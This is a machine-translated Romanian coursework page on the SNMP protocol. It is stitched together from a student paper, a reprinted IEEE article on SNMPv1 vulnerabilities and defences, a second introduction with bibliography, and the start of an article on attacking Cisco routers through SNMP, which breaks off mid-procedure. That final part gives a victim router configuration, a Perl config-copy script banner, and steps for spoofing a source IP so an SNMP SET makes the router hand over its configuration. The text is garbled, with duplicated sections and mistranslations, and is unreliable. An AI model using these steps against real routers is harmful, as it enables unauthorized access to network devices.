Descrierea protocolului SNMP (Simple Network Management Protocol). Vulnerabilități în metodele protocolului SNMP Snmp de atacuri de rețea și protecție

Descrierea muncii

Problema fiabilității și eficienței maxime a funcționării rețelelor de calculatoare se pune în mod deosebit de acut. Pierderi uriașe din cauza problemelor de rețea care duc la pierderea datelor, o scădere bruscă a performanței, blocarea serverelor și alte probleme sunt suferite de bănci, companii financiare, de transport și de telecomunicații. În consecință, problema managementului rețelei este de o importanță deosebită.
Managementul rețelei este un ansamblu de măsuri și activități care vizează creșterea eficienței rețelei, detectarea și eliminarea defecțiunilor în funcționarea acesteia, dezvoltarea și modernizarea corespunzătoare a acesteia și, în final, reducerea costurilor.

INTRODUCERE……………………………………………………………………………………………..3

1.2 Logica protocolului SNMP…………………………………………………………………..….12

2.1 Securitatea protocolului SNMP (sau versiunea protocolului SNMP)……….21
2.2 Principii de configurare a protocolului SNMP………………………………23
CONCLUZIE………………………………………………………………………………….26
REFERINȚE………………..…………………………...…27

Fișiere: 1 fișier

Ministerul Educației și Științei al Federației Ruse

FSBEI HPE „Universitatea de Stat Chelyabinsk”

Institutul de Tehnologii Informaţionale

Departamentul de Tehnologii Informaţionale

LUCRARE DE CURS

protocol SNMP. Metode de atac și apărare în rețea

Completat de un student

Galiullina Oksana Kuntuarovna

Facultatea IIT, Grupul BIS-201

Consilier stiintific:

Kosenko Maxim Iurievici

Lector al catedrei

tehnologia Informatiei

Data depunerii:_______________

Data apărării:___________

Nota:__________________

Celiabinsk

INTRODUCERE………………………………………………………………………………..3

CAPITOLUL I. DEFINIȚIA SNMP………………………………………………5

1.1 Arhitectura protocolului SNMP……………………………………………………….6

1.2 Logica protocolului SNMP…………………………………………………………………..….12

CAPITOLUL II. MIB……………………………………………………………………………….16

CAPITOLUL III. SECURITATE ȘI CONFIGURARE SNMP……..…….21

2.1 Securitatea protocolului SNMP (sau versiunea protocolului SNMP)……….21

2.2 Principii de configurare a protocolului SNMP…………………………………23

CONCLUZIE………………………………………………………………………………26

REFERINȚE……………………..………………………… ...…27

INTRODUCERE

Activitățile organizațiilor moderne sunt strâns legate de utilizarea tehnologiei informației, fie că este vorba de un computer la locul de muncă al unui manager al unei companii mici sau de rețeaua corporativă a unei companii mari - un integrator de sisteme. Și cu cât organizația este mai mare și funcțiile sale sunt mai importante, cu atât sunt mai mari cerințele pentru sistemele informatice care asigură performanța acestor funcții și cu atât prețul fiecărei defecțiuni este mai mare. Performanța unei companii devine din ce în ce mai dependentă de calitatea echipamentelor sale informatice și de telecomunicații.

Managementul rețelei este un ansamblu de măsuri și activități care vizează creșterea eficienței rețelei, detectarea și eliminarea defecțiunilor în funcționarea acesteia, dezvoltarea și modernizarea corespunzătoare a acesteia și, în final, reducerea costurilor.

În prezent, aplicațiile care rulează pe platforme de gestionare a rețelei, cum ar fi HP OpenView de la Hewlett-Packard, NetView pentru AIX (IBM), SunNet Manager (Sun), Spectrum (Cabletron Systems), NetWare Management Systems (Novell) sunt utilizate pentru a gestiona rețele diverse alte controale multiplatformă.

Aceste instrumente se bazează pe utilizarea protocolului SNMP (Simple Network Management Protocol). Protocolul SNMP este conceput pentru a colecta și transmite informații de serviciu (informații de stare) între diferite computere.

CAPITOLUL I. DEFINIȚIA SNMP

SNMP este un protocol din familia TCP/IP (Protocolul SNMP este descris în RFC 1157). A fost dezvoltat inițial de comunitatea de internet pentru a monitoriza și depana routerele și podurile. SNMP vă permite să monitorizați și să transmiteți informații de stare:

calculatoare care rulează Windows NT;
Servere LAN Manager;
routere și gateway-uri;
minicalculatoare sau mainframe;
servere terminale;
concentratoare.

SNMP utilizează o arhitectură distribuită constând din sisteme de management și agenți. Folosind serviciul Microsoft SNMP, un computer care rulează Windows NT poate raporta starea acestuia unui sistem de management SNMP dintr-o rețea care utilizează protocolul TCP/IP.

Serviciul SNMP trimite informații de stare către unul sau mai multe computere la cerere sau când are loc un eveniment important, cum ar fi un computer care nu are spațiu pe hard disk.

1.1 Arhitectura protocolului SNMP

O rețea care utilizează SNMP pentru management conține trei componente principale:

Manager SNMP - software instalat pe computerul administratorului (sistem de monitorizare)
Agentul SNMP este un software care rulează pe nodul de rețea care este monitorizat.
SNMP MIB - MIB este baza de informații de management. Această componentă a sistemului oferă date structurate schimbate între agenți și manageri. În esență, este un fel de bază de date sub formă de fișiere text.

Manager SNMP și agent SNMP

Pentru a înțelege scopul componentelor, putem spune că managerul SNMP este un strat (interfață) între administratorul operatorului și nodul de rețea care rulează agentul SNMP. De asemenea, putem spune că un agent SNMP este o interfață între managerul SNMP și hardware-ul de pe un nod de rețea. Dacă comparăm protocolul SNMP cu o arhitectură client-server (de exemplu, un server web), atunci serverul web rulează ca un serviciu pe un anumit port, iar utilizatorul folosește browserul pentru a accesa serverul web ca client. Este o arhitectură clar definită, cu un client și un server distinct. În cazul SNMP, rolurile clientului și serverului sunt oarecum neclare. De exemplu, un agent SNMP este un fel de serviciu care rulează pe un dispozitiv (care este monitorizat) și procesează cereri pe un anumit port udp/161, adică este de fapt un server. Iar managerul SNMP este un fel de client care accesează serverul de agent SNMP. În SNMP există un așa-numit. Capcană. Aceasta este o cerere de la un agent către un manager. Mai exact, nici măcar o cerere, ci o notificare. Când această notificare este trimisă, agentul și managerul „schimbă rolurile”. Adică, în acest caz, managerul trebuie să fie un server care rulează pe portul udp/162, iar agentul trebuie să fie un client. În versiunile recente, capcana SNMP poate fi denumită notificare.

SNMP operează la nivelul 7 al modelului OSI, adică este un serviciu de nivel de aplicație. Interacțiunea dintre agent și manager la nivel de protocol SNMP este organizată prin așa-numitul. pachete de obiecte PDU (Protocol Data Unit) care sunt încapsulate în protocolul de transport. Deși SNMP acceptă diferite tipuri de transport, în 99% din cazuri este utilizat UDP. În acest caz, fiecare mesaj PDU conține o comandă specifică (pentru a citi o variabilă, a scrie valoarea unei variabile sau a răspunde la un agent capcană). În general, interacțiunea nodurilor prin SNMP poate fi reprezentată prin următoarea secvență: manager->SNMP(PDU)-UDP-IP-Ethernet-IP-UDP-SNMP(PDU)->agent.

Când utilizați criptarea în SNMP, portul implicit pentru cereri/răspunsuri este udp/10161, iar capcanele sunt trimise la udp/10162.

Agenții care rulează pe gazde colectează informații despre dispozitive și scriu contoarele colectate în valori variabile în baza de date MIB. Făcându-l astfel accesibil managerilor.

Orez. 1. Schema de interacțiune între agentul SNMP și managerul SNMP

Managerul SNMP trimite cereri agentului pe portul udp/161 (dacă nu este configurat un alt port în agent) de la un port arbitrar din intervalul efemer. Solicitarea managerului SNMP specifică portul și adresa sursă. Apoi, agentul primește pachetul și îl procesează (dacă sunt îndeplinite condițiile descrise mai jos). În timpul procesării, un răspuns este generat și trimis către portul preluat din cererea inițială. Răspunsul este trimis de la portul udp/161. Putem spune că agentul SNMP oferă astfel managerului SNMP acces la datele stocate în MIB. În același timp, în momentul trimiterii, managerul SNMP introduce un anumit ID (RequestID) în PDU, iar agentul introduce acest ID fără a schimba în PDU de răspuns, astfel încât managerul să nu confunde pachetele de la diferiți agenți. Agentul SNMP poate fi configurat să trimită notificări Trap, pe care le efectuează de la portul efemer către portul udp/162 al managerului SNMP.

PDU SNMP (sau mesaje de protocol SNMP)

Mai sus am menționat unitatea de schimb între nodurile SNMP - PDU (Protocol Data Unit), să ne uităm la acest concept. Un set specific de mesaje de comandă PDU este utilizat pentru schimbul dintre agent și manager:

Trap este o notificare unidirecțională de la agentul SNMP -> manager despre un eveniment.
GetReponse - un răspuns de la un agent către un manager, care returnează valorile variabilelor solicitate.
GetRequest - o solicitare către agent de la manager, folosită pentru a obține valoarea uneia sau mai multor variabile.
GetNextRequest - o solicitare către agent de la manager, folosită pentru a obține următoarea valoare a variabilei din ierarhie.
SetRequest - o solicitare către agent pentru a seta valoarea uneia sau mai multor variabile.
GetBulkRequest – o solicitare către agent pentru a primi o serie de date (ajustat GetNextRequest). (Acest PDU a fost introdus în SNMPv2.)
InformRequest – notificare unidirecțională între manageri. Poate fi folosit, de exemplu, pentru a face schimb de informații despre MIB (corespondența dintre OID-urile simbolice și cele digitale). Ca răspuns, managerul generează un pachet similar pentru a confirma că datele inițiale au fost primite. (Acest PDU a fost introdus în SNMPv2.)

După cum puteți vedea, în funcție de versiunea protocolului, setul de comenzi este diferit (de exemplu, InformRequest și GetB ulkRequest au apărut complet doar în a doua versiune a SNMP).

Structura PDU

Privirea structurii PDU nu este necesară, dar vă va ajuta să obțineți o înțelegere mai profundă a logicii SNMP. Toate PDU-urile (cu excepția Trap) constau dintr-un set specific de câmpuri în care sunt înregistrate informațiile necesare:

Orez. 2. Format a cinci mesaje SNMP încapsulate într-o datagramă UDP

Ce înseamnă aceste câmpuri:

Versiune - conține versiunea SNMP;
Parola (comunitate) - conține o secvență de caractere care descriu apartenența la grup;
Tipul PDU are un identificator numeric de solicitare (Get, GetNext, Set, Responde, Trap...);
Identificatorul cererii este același set de caractere care leagă cererea/răspunsul într-un singur întreg;
Starea erorii este un număr care caracterizează natura erorii:

Pentru cereri (Get, Set, GetNExt etc.) - 0
Pentru raspunsuri:

0 (NoError) – Fără erori;
1 (Prea Mare) - Obiectul nu se încadrează într-un mesaj de răspuns;
2 (NoSuchName) – variabilă inexistentă;
3 (BadValue) – la încercarea de a seta valoarea, a fost specificată o valoare invalidă sau a fost făcută o eroare de sintaxă;
4 (ReadOnly) – în timpul unei solicitări Set a existat o încercare de modificare a unei variabile numai în citire;
5 (GenErr) – alte erori.

Indicele de eroare – conține un anumit indice al variabilei la care se referă eroarea;
Câmpul pentru variabile asociate poate conține una sau mai multe variabile (pentru cererile Get acesta este doar numele variabilelor, pentru Set - numele și valoarea de setat, pentru Response - numele și valoarea solicitată).

În același timp, conținutul PDU-ului Trap conține câteva câmpuri suplimentare (în loc de antetul cererii):

Firma – caracterizarea producatorului gazda;
Tipul de notificare capcană poate fi următorul:

0 (Coldstart) și 1 (Warmstart) – obiectul revine la starea inițială (există o oarecare diferență între ele, dar ce?..);
2 (Linkdown) – interfața este omisă, în timp ce câmpul variabil conține interfața în cauză;
3 (Linkup) – interfața a crescut, iar câmpul variabil conține interfața în cauză;
4 (Authenticationfailure) – managerul a trimis un mesaj cu un șir comunitar incorect;
5 (EGPneighborloss) – vă este greu să spuneți ceva);
6 (specifică întreprinderii) – acest tip de capcană indică faptul că următorul câmp conține un tip de capcană specializat pentru un anumit furnizor.

Tip Capcană specializată;
Timestamp – conține un timestamp din momentul evenimentului (nu este clar cu ce se referă această etichetă...).

Cu toate acestea, un raport recent al Centrului de coordonare CERT, care este specializat în probleme de securitate a computerelor, a constatat că există multe defecte în implementările SNMP care lasă mai mult de o sută de produse ale vânzătorilor vulnerabile la atac. Dacă aceste defecte sunt exploatate cu pricepere, un hacker poate obține acces neautorizat cu privilegii mari, poate lansa un atac DoS sau poate întreprinde alte acțiuni rău intenționate.

Orez. 1. Arhitectură SNMP simplificată

Principalul protocol de comunicare în SNMP este UDP (User Datagram Protocol). În timp ce agenții SNMP analizează datele pe portul UDP 161 atunci când primesc solicitări de la NMS, NMS analizează traficul trimis pe portul UDP 162 pentru a primi mesaje asincrone. În fig. Figura 1 prezintă o arhitectură de management SNMP simplificată în care sistemul de operare atribuie un port dinamic. SNMP acceptă autentificarea de bază folosind un nume de comunitate, care servește drept parolă pentru obținerea sau modificarea datelor relevante pentru sarcinile de management.

Cercetătorii de la Universitatea finlandeză din Oulu au dezvoltat teste care pot detecta multe vulnerabilități în implementările SNMPv1. Pachetele de testare sunt utilizate de obicei pentru a analiza protocolul și pentru a genera mesaje care testează diverse constrângeri arhitecturale.

Cercetătorii au descoperit următoarele vulnerabilități SNMP.

Prelucrarea mesajelor capcane. Au fost identificate multe deficiențe în modul în care diverse NMS (stații de gestionare a rețelei) decodifică și procesează mesajele capcane.
Procesarea interogărilor. Testele au arătat prezența inexactităților în decodificarea și procesarea cererilor SNMP de către diverși agenți.

Aceste vulnerabilități rezultă din validarea slabă a mesajelor SNMP pe măsură ce sunt primite și procesate de sistemul țintă. Aceste defecte pot duce la atacuri DoS, vulnerabilități de formatare a șirurilor și depășiri de buffer.

Unele dintre vulnerabilitățile descoperite de Protos nu necesită un nume de comunitate valid pentru a fi prezent în mesajele SNMP, ceea ce face ca aceste vulnerabilități să fie foarte ușor de exploatat. În plus, deoarece UDP este un protocol de comunicație fără conexiune, agenții SNMP și NMS care acceptă trap acceptă cererile primite și mesajele trap fără nicio sesiune preconfigurată. Cele mai multe produse orientate spre SNMP sunt lansate cu șiruri de comunitate implicite publice pentru acces numai citire și private pentru acces citire-scriere. Șirul de nume al comunității este integrat în mesajul SNMP și este trimis prin rețea în text simplu. Chiar dacă această linie este specificată corect, este vulnerabilă la sniffing de pachete.

De asemenea, controlul accesului la rețea nu este suficient pentru a bloca atacurile care exploatează aceste defecte de securitate, deoarece adresele expeditorilor UDP pot fi ușor falsificate. Un hacker poate trimite pachete folosind o adresă falsă a expeditorului și poate dezactiva dispozitivul de primire. Mai mult, unele implementări SNMP permit ca pachetele SNMP să fie difuzate în mod implicit. Hackerii pot distribui cu ușurință pachete de difuzare pentru a afecta o întreagă rețea, chiar dacă nu cunosc adresa specifică a dispozitivului și numele comunității SNMP.

Evaluare a amenintarilor

Vulnerabilitățile ar putea permite un atac DoS sau o întrerupere a serviciului și, în unele cazuri, ar putea permite unui hacker să obțină acces la dispozitiv. Manifestările specifice variază de la produs la produs. Deoarece serviciile SNMP nu sunt activate implicit în majoritatea cazurilor, aceste defecte nu reprezintă o amenințare directă pentru utilizatorii casnici. Cu toate acestea, deoarece SNMPv1 este utilizat pe scară largă în dispozitivele de infrastructură de rețea critică, exploatarea acestor defecte poate duce la instabilitate și întreruperea operațiunilor de rețea la scară largă. În special, dacă hackerii combină aceste vulnerabilități cu defecte de securitate în protocoalele de rutare a Internetului, cum ar fi Border Gateway Protocol, infiltrarea unui router principal poate duce la instabilitatea întregului Internet. Dacă un număr mare de dispozitive de rețea au o defecțiune comună de depășire a tamponului SNMP, atunci hackerii pot scrie un vierme precum Code Red care exploatează acest defect, ceea ce poate duce la un alt val de viermi.

Soluții

Folosind datele din buletinul CERT, enumerăm câteva soluții comune care pot proteja rețeaua.

Scanere SNMPv1. Mai multe organizații au lansat instrumente care scanează rețeaua pentru dispozitive care rulează SNMP. SNMPing, dezvoltat de SANS, este un set de instrumente bazat pe Windows care caută demoni SNMP pe portul 161 sau pe alt port. SNScan, un utilitar similar dezvoltat de Foundstone, identifică rapid și precis dispozitivele activate SNMP dintr-o rețea.

Petice. Dacă găsiți dispozitive SNMP activate în rețeaua dvs., este o idee bună să contactați producătorii acelor dispozitive pentru a afla dacă au dezvoltat corecțiile necesare.

Dezactivați serviciul SNMP. Dacă rețeaua dumneavoastră nu are nevoie de serviciul SNMP, CERT recomandă dezactivarea sau eliminarea acestui serviciu. Cu toate acestea, testele OUSPG au arătat că unele dintre produsele potențial vulnerabile erau susceptibile la atacuri DoS sau la alte întreruperi ale rețelei, chiar și atunci când SNMP a fost dezactivat.

Filtrarea la intrare. Firewall-urile și routerele pot fi configurate pentru a efectua filtrarea de intrare pe porturile UDP 161 și 162, ceea ce poate preveni atacurile de rețea externă asupra dispozitivelor vulnerabile din rețeaua locală. Alte porturi care acceptă servicii legate de SNMP, inclusiv porturile TCP și UDP 161, 162, 199, 391, 750 și 1993, pot necesita, de asemenea, filtrarea de intrare.

Filtrarea ieșirii. Dispozitivele care furnizează servicii publice nu inițiază în mod normal trafic de ieșire către Internet. Pentru a controla traficul care părăsește rețeaua, implementați filtrarea de ieșire. Filtrarea traficului de ieșire pe porturile UDP 161 și 162 de la marginea rețelei poate împiedica utilizarea sistemului ca zonă de procesare pentru atac.

Modificarea șirurilor implicite ale comunității. După cum s-a menționat, majoritatea produselor orientate spre SNMP au șirurile implicite ale comunității publice pentru acces numai citire și private pentru acces citire-scriere. Trebuie să modificați aceste valori implicite ale șirurilor comunității. Noul nume de comunitate va fi, totuși, vulnerabil la sniffing de pachete.

Actualizarea semnăturilor. O altă soluție ar putea fi păstrarea la zi a semnăturilor IDS. Semnăturile care abordează direct defectele descoperite de proiectul Protos sunt acum disponibile de la mulți furnizori de sisteme de detectare a intruziunilor. De exemplu, Snort, o comunitate de soluții de detectare a intruziunilor în rețea disponibile gratuit, a dezvoltat un set de reguli concepute pentru a gestiona pachetele malformate folosind pachetul Protos. Cisco Systems a actualizat semnătura pentru sistemul său securizat de detectare a intruziunilor, care poate fi obținută în mod anonim. Internet Security Systems a lansat o semnătură comună pentru produsele sale RealSecure și BlackICE.

Simplitatea popularului protocol SNMP are ca rezultat o vulnerabilitate crescută. Deoarece SNMP este utilizat pe scară largă, operarea rețelelor cu produse vulnerabile poate avea consecințe dezastruoase. Personalul, cercetătorii și furnizorii CERT oferă o serie de soluții pentru a ajuta la atenuarea atacurilor potențiale care exploatează aceste vulnerabilități.

Juofei Jiang ( [email protected]) este inginer de cercetare senior la Institutul de Cercetare în Tehnologia Securității de la Dartmouth College. Interesele sale de cercetare includ rețelele de computere și securitatea, sistemele de informații distribuite, agenții mobili și învățarea automată.

Guofei Jiang. Vulnerabilități multiple în SNMP. Securitate și confidențialitate - 2002, Supliment la IEEE Computer. 2002, IEEE Computer Society, Toate drepturile rezervate. Retipărit cu permisiunea.

Literatură

„CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)”, 12 feb. 2002, (actual 11 martie 2002)
„PROTOS: Testarea de securitate a implementărilor protocolului”, 19 iulie 2001 (actual 11 martie 2002)
„PROTOS Test-Suite: c06-snmpv1”, 12 feb. 2002 (actual 11 martie 2002)
„M-042: Multiple Vulnerabilities in Multiple Implementations of SNMP”, 12 feb. 2002 (actual 11 martie 2002)

CONCLUZIE
Studiul este dedicat problemelor de asigurare a securității interacțiunii rețelei folosind protocolul SNMP. În procesul de lucru, au fost identificate caracteristicile protocolului numit și posibilele probleme cu utilizarea acestuia. Pentru a fundamenta problema, sunt furnizate date statistice care confirmă probabilitatea mare de atacuri la rețea. În plus, partea teoretică conține informații despre structura protocolului, schema cerere/răspuns și etapele de obținere a răspunsurilor la solicitări.
În cadrul lucrărilor de curs, a fost efectuată o analiză a posibilelor atacuri asupra protocolului SNMP, printre care se numără atacurile Dos, atacurile Buffer Overflow și cele care folosesc vulnerabilități ale șirurilor de format. Desigur, există mult mai multe amenințări potențiale, dar revizuirea lor necesită un studiu mai aprofundat și mai cuprinzător aniye.
Pentru a construi un sistem de protecție a interacțiunii în rețea a abonaților rețelei, s-au luat în considerare metode de prevenire a atacurilor asupra protocolului SNMP și s-a remarcat că utilizarea unui set de instrumente ar fi eficientă.
Pe baza analizei, a fost dezvăluit că protocolul SNMP este destul de vulnerabil și, dacă tot decideți să-l utilizați, ar trebui să dezvoltați o politică de securitate și să respectați toate principiile sale.
Astfel, putem concluziona că scopul a fost atins și sarcinile definite în introducere au fost rezolvate.

INTRODUCERE
Dezvoltarea modernă rapidă a tehnologiei informației impune noi cerințe privind stocarea, procesarea și distribuirea datelor. De la mediile de stocare tradiționale și servere dedicate, companiile și persoanele fizice trec treptat la tehnologiile de la distanță implementate prin internetul global. Serviciile de internet pot deveni instrumente indispensabile pentru funcționarea unei companii moderne, în dezvoltare dinamică, care includ e-mail-ul; schimb de fișiere, mesaje vocale și date folosind aplicații video; dezvoltarea propriilor resurse Web.
Potrivit multor experți, utilizarea pe scară largă a tehnologiilor Internet necesită construirea unui sistem de gestionare eficientă a dispozitivelor de rețea, unul dintre instrumentele căruia poate fi devin protocolul SNMP. Cu toate acestea, organizarea managementului și monitorizării dispozitivelor din rețea prin acest protocol face elementele rețelei vulnerabile la atacuri. Astfel, problemele tehnologice de prevenire a atacurilor de rețea în lumina dezvoltării serviciilor de internet vin în prim-plan și necesită o analiză cuprinzătoare. De aceea tema de cercetare este relevantă.
Întrebările multor autori au fost dedicate problemelor construirii unui sistem de protecție împotriva atacurilor asupra protocolului SNMP, dar nu există un consens cu privire la oportunitatea utilizării SNMP din cauza complexității asigurării securității. Astfel, Flenov M. în cartea sa „Linux through the eyes of a Hacker” a evidențiat dezavantajele acestui protocol și nu recomandă utilizarea acestuia. Smirnova E. V. În manualul „Tehnologii de comutare și rutare în rețelele locale de calculatoare”, el oferă informații despre schemele de transfer de date multicast și gestionarea eficientă a echipamentelor de rețea folosind protocolul SNMP și, de asemenea, evidențiază separat problemele de securitate ale utilizării acestuia. O analiză ulterioară a literaturii de specialitate și a surselor de pe Internet a confirmat necesitatea studierii problemelor de utilizare în siguranță a protocolului SNMP pentru a decide oportunitatea utilizării acestuia La baza acestei decizii va fi o analiză a posibilelor atacuri și a eficacității metode de prevenire a acestora.
Scopul studiului este de a efectua o analiză cuprinzătoare a posibilelor atacuri asupra protocolului SNMP și a contramăsurilor.
Pentru a atinge obiectivul, este necesar să se rezolve o serie de probleme:
1. Efectuați o analiză a literaturii și a surselor de internet privind organizarea interacțiunii securizate cu rețeaua bazată pe utilizarea protocolului SNMP.
2. Justificați necesitatea studierii metodelor de atac asupra protocolului SNMP și modalități de prevenire a acestora.
3. Evidențiați caracteristicile de management bazate pe protocolul SNMP.
4. Efectuați o analiză a tehnicilor pentru protocolul SNMP.
5. Descrieți metode de prevenire a atacurilor asupra protocolului SNMP.
Obiectul de studiu este protocolul SNMP.
Subiectul cercetării îl reprezintă metodele de atac de rețea asupra protocolului SNMP și modalitățile de prevenire a acestora.
Metode de cercetare: analiza, sinteza, studiul surselor de informatii.
Lucrarea cursului constă dintr-o introducere, două capitole și o concluzie. Primul capitol este dedicat bazei teoretice a problemei. Al doilea capitol conține o analiză a posibilelor atacuri și modalități de prevenire a acestora

CONŢINUT
INTRODUCERE 3
1. BAZA TEORETICĂ A PROBLEMEI DE CERCETARE A METODELOR DE ATACURI LA PROTOCOLUL SNMP
1.1 NECESITATEA DE STUDIARE A METODELOR DE ATAC LA PROTOCOLUL SNMP 5
1.2 PROTOCOL SNMP: DESCRIERE, SCOP 7
2. ANALIZA ATACURILOR ASUPRA PROTOCOLULUI SNMP SI CONTRAMASURI
2.1 TEHNICI PENTRU ATACURI LA PROTOCOLUL SNMP ȘI MODALITĂȚI DE PREVENIRE 11
2.2 MODALITĂȚI DE CONTRACTARE A ATACURILOR PE PROTOCOL SNMP 15
CONCLUZIA 20
LISTA SURSELOR UTILIZATE 21

LISTA SURSELOR UTILIZATE
Reguli
1. Legea federală a Federației Ruse din 27 iulie 2006 N 149-FZ privind informațiile, tehnologiile informației și protecția informațiilor
Lista literaturii de specialitate și științifice
2. Blank-Edelman D. Perl pentru administrarea sistemului, M.: simbol-Plus, 2009.- 478 p.
3. Borodakiy V.Yu. Practică și perspective pentru crearea unui cloud informatic și informatic securizat bazat pe MSS OGV / V.Yu. Borodakiy, A.Yu. Dobrodeev, P.A. Nashchekin // Probleme actuale ale dezvoltării sistemelor tehnologice de securitate a statului, comunicații speciale și suport informațional special: VIII Conferință științifică interdepartamentală panrusă: materiale și rapoarte (Orel, 13-14 februarie 2013). - La ora 10 Partea 4 / General ed. V.V. Mizerova. - Vultur: Akade Misiunea Serviciului Federal de Securitate al Rusiei, 2013.
4. Grishina N.V. Organizarea unui sistem cuprinzător de securitate a informațiilor. - M.: Helios ARV, 2009. - 256 p.
5. Douglas R. Mauro SNMP Basics, ediția a II-a / Douglas R. Mauro, Kevin J. Schmidt - M.: Symbol-Plus, 2012.-725p.
6. Kulgin M.V. Retele de calculatoare. Practica constructiilor. Pentru profesioniști, Sankt Petersburg: Peter, 2003.-462 p.
7. Mulyukha V.A. Metode și mijloace de protejare a informațiilor informatice. Firewall: Manual / Mulyukha V.A., Novopashenny A.G., Podgursky Yu.E - Sankt Petersburg: Editura SPbSPU, 2010. - 91 p.
8. Olifer V. G., Olifer N. P. Rețele de calculatoare. Principii, tehnologii, protocoale. - a 4-a. - Sankt Petersburg: Peter, 2010. -902 p.
9. Tehnologii de comutare și rutare în rețelele locale de calculatoare: manual / Smirnova E. V. şi colab.; ed. A.V. Proletarsky. - M.: Editura MSTU im. N.E. Bauman, 2013. - 389 p.
10. Flenov M. Linux prin ochii unui Hacker, Sankt Petersburg: BHV-Sankt Petersburg, 2005. - 544 p.
11. Khoreyev P.V. Metode și mijloace de protecție a informațiilor în sisteme informatice. - M.: Centrul de editură „Academia”, 2005. -205 p.
12. Khoroshko V. A., Chekatkov A. A. Metode și mijloace de protecție a informațiilor, K.: Junior, 2003. - 504 p.
Surse de internet
13. IDS/IPS - Sisteme de detectare și prevenire a intruziunilor [Resursa electronică] URL: http://netconfig.ru/server/ids-ips/.
14. Analiza amenințărilor de pe internet în 2014. Atacurile DDoS. Hacking site-uri [Resursă electronică]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Kolischak A. Vulnerabilitatea șirului de format [Resursă electronică]. Adresa URL: https://securityvulns.ru/articles/fsbug.asp
16. First Mile, Nr. 04, 2013 [Resursa electronica]. URL: http://www.lastmile.su/journal/article/3823
17. Familia de standarde SNMP [Resursă electronică]. Adresa URL: https://ru.wikibooks.org/wiki /SNMP_standards_family
Literatura straina
18. „CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)”, 12 feb. 2002, (actual 11 martie 2002

Atacul asupra Cisco prin SNMP

Alexandru Antipov

Matiai Aroni și William M. Hidalgo, traducere de Vladimir Kuksenok

Introducere

Adesea, administratorii de sistem au o înțelegere vagă a SNMP. Din cauza înțelegerii vagi a scopului acestui protocol și, prin urmare, a ignoranței problemelor potențiale, problemele sale de securitate sunt adesea trecute cu vederea.

S-ar putea să fiți surprins când vedeți pentru prima dată rezultatul unui utilitar precum SNMP-Enum al lui Philip Waeytens care rulează pe Windows 2000 Server cu serviciul SNMP activat. Informațiile colectate ar putea fi foarte confuze pentru administratorul de sistem și oferă o perspectivă asupra capacităților bogate ale SNMP.

Faptul că SNMP se bazează pe UDP îl face și mai interesant. Ca protocol fără conexiune, UDP este vulnerabil la atacurile de falsificare IP. Dacă organizația dvs. are routere Cisco, sunteți gata să explorați ce puteți face cu acestea folosind SNMP.

Scenariu de atac

Aruncă o privire la exemplul de scenariu de atac prezentat în Figura 1.

Figura 1. Exemplu de scenariu de atac.

Examinați scenariul de atac. Mai jos este configurația actuală a routerului atacat (Victim Router):

Configurație curentă: 1206 octeți! versiunea 12.3! Nume gazdă Victima! activați secretul 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interfață Ethernet0/0 adresa ip dhcp ip nat în afara semi-duplex ! interfață Ethernet0/1 adresa ip 192.168.1.1 255.255.255.0 ip nat în interiorul semi-duplex ! rețea ruter rip 192.168.1.0! ip nat în lista surselor 102 interfață Ethernet0/0 supraîncărcare fără ip http server ip fără clasă! access-list 1 permis 192.168.1.0 0.0.0.255 access-list 102 permis ip any any ! snmp-server comunitate public RO snmp-server comunitate privat RW 1 snmp-server activare capcane tty ! line con 0 logging sincron login line aux 0 line vty 0 4 password secret login ! ! Sfârşit

Fiți atenți la regula de acces pentru grupul RW. Această regulă încearcă să limiteze accesul de citire/scriere SNMP numai la utilizatorii din rețeaua locală (192.168.1.0).

Există două etape principale ale atacului:

Ocolirea regulilor de acces SNMP pe routerul atacat pentru a obține acces la fișierul de configurare a routerului.
Crearea unui tunel GRE între routerul atacat și routerul hackerului pentru a intercepta de la distanță traficul de la mașina client atacată (Victim Client).

Teorie

După cum este menționat în articolul „Exploarea routerelor Cisco, partea 1”, folosind comanda SNMP SET, puteți forța un router Cisco să suprascrie/trimite fișierul de configurare folosind TFTP.

Prin trimiterea unei cereri SNMP SET cu o adresă IP falsă (din intervalul descris în RFC1918 - 192.168.1.0) trebuie să forțăm routerul atacat să ne trimită fișierul de configurare. Aceasta presupune că cunoaștem „șirul comunității private” și ACL descrise în șirul de configurare a grupului RW.

Ocolirea regulilor de acces SNMP

Să începem prin a crea o solicitare SNMP falsă. Folosind un mic script Perl și Ethereal, vom intercepta o cerere standard SNMP SET „copy config”, pe care o vom folosi ca pachet de bază. root@whax# ./copy-router-config.pl ############################################################## ################ # Copiați configurația routerului Cisco - Folosind SNMP # Hacked de muts - [email protected]#################################################################### ##### Utilizare: ./cisco-copy-config.pl Asigurați-vă că este configurat un server TFTP, de preferință care rulează din /tmp! root@whax# După executarea scriptului, va fi capturat un pachet SNMP similar cu cel prezentat în Figura 2. După cum era de așteptat, această solicitare a fost respinsă de router și fișierul de configurare nu a fost trimis.

Figura 2. Pachetul SNMP interceptat.

Acordați atenție adresei IP a atacatorului (80.179.76.227). Acum, folosind un editor hexadecimal, vom schimba această adresă IP și alte câmpuri de antet de pachete. În notație hexazecimală, adresa IP falsificată 192.168.1.5 arată ca C0 A8 01 05, așa cum se arată în Figura 3.

Figura 3. Modificarea adresei IP de retur a unui pachet.

Vom trimite apoi pachetul folosind file2cable (sau orice alt generator de pachete):

